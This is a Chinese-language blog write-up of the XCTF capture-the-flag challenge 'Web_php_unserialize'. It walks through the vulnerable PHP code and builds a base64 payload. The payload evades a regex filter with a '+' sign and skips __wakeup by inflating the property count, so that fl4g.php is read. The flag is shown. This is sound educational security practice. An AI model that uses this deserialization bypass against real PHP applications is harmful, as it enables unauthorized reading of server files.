行百里者半九十|

Guanz

园龄:3年粉丝:7关注:13

2023-12-08 23:58阅读: 16评论: 0推荐: 0

Web_XCTF_WriteUp | Web_php_unserialize

题目

分析

根据题目了解到这题考察 php 反序列化漏洞。

浅读一下 php 代码:

<?php
class Demo { // Demo类
private $file = 'index.php'; // 私有变量file赋为字符串index.php
public function __construct($file) { // 构建公有函数__construct,传参file
$this->file = $file; // file变量的值赋给this对象调用的类的成员file
}
function __destruct() { // 构建析构函数(魔术方法)
echo @highlight_file($this->file, true); // this对象调用的类的成员file高亮显示并返回高亮代码输出,若执行出错不输出报错信息
}
function __wakeup() { // 初始化函数(魔术方法)
if ($this->file != 'index.php') { // 如果this对象调用的类的成员file的字符串不是index.php
//the secret is in the fl4g.php // 秘密在fl4g.php中
$this->file = 'index.php'; // 把this对象调用的类的成员file的字符串赋为index.php
}
}
}
if (isset($_GET['var'])) { // 如果get表单得到的var值已设置且非空
$var = base64_decode($_GET['var']); // 将var值进行base64解码赋给变量var
if (preg_match('/[oc]:\d+:/i', $var)) { // 如果在变量var中匹配到连续的(“o”或“O”或“c”或“C”)+“:”+任意长度数字字符串+“:”
die('stop hacking!'); // 输出stop hacking!并退出脚本
} else { // 否则
@unserialize($var); // 对参数var执行反序列化函数,若执行出错不输出报错信息
}
} else { // 否则
highlight_file("index.php"); // 对字符串index.php高亮显示
}
?>

根据代码我们得到信息:

  1. flag 文件名为 fl4g.php
  2. 若 this 对象调用的类的成员 file 如果未被引用,__destruct 函数在脚本退出时直接输出内容
  3. __wakeup 函数在 unserialize 函数执行前将 this 对象调用的类的成员 file 的字符串内容固定为 index.php
  4. 传入 var 的参数字符串为序列化的字符串,且不能是 common object 类型(o)或 class 类型(O)或 custom object 类型(C)

因此,我们需要通过向 var 变量传入经 base64 加密后的序列绕开 __wakeup 函数,这里可以采用将序列化结果的参数数量增加至超过实际数量实现;
为了绕过正则的过滤,我们在过滤条件中添加 + 符号使序列不满足判断条件且可以正常执行;
同时调用 this->file 输出 fl4g.php 的内容。


构造代码:

<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
// 创建新对象用于序列化xctf函数,参数为flag文件名
$serxctf = new Demo('fl4g.php');
// // 序列化
// echo(serialize($serxctf));
// echo '<br/>';
// // 在序列第2位插入“+”符号
// echo(substr_replace(serialize($serxctf),'+',2,0));
// echo '<br/>';
// // 将序列第12位更改为9
// echo(substr_replace(substr_replace(serialize($serxctf),'+',2,0),'9',12,1));
// echo '<br/>';
echo(base64_encode(substr_replace(substr_replace(serialize($serxctf),'+',2,0),'9',12,1)));
?>

保存为 php 文件并运行,得到结果:TzorNDoiRGVtbyI6OTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==


构造 payload ?var=TzorNDoiRGVtbyI6OTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 传入参数,得到 flag 内容:

Flag

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

参考

PHP 教程-菜鸟教程
PHP中的符号 ->、=> 和 :: 详解-深夜程序猿-CSDN
PHP: 魔术方法-Manual
PHP序列化与反序列化(__sleep与__wakeup-1stPeak-CSDN
[CTF]PHP反序列化总结-Y4tacker-CSDN
Web_XCTF_WriteUp | unserialize3-Guanz-博客园
PHP: base64_encode-Manual
php怎么给字符串添加字符-编程语言-亿速云
php常用换行代码-1stPeak-CSDN

本文作者:Guanz

本文链接:https://www.cnblogs.com/Guanz/p/17884362.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Guanz  阅读(16)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起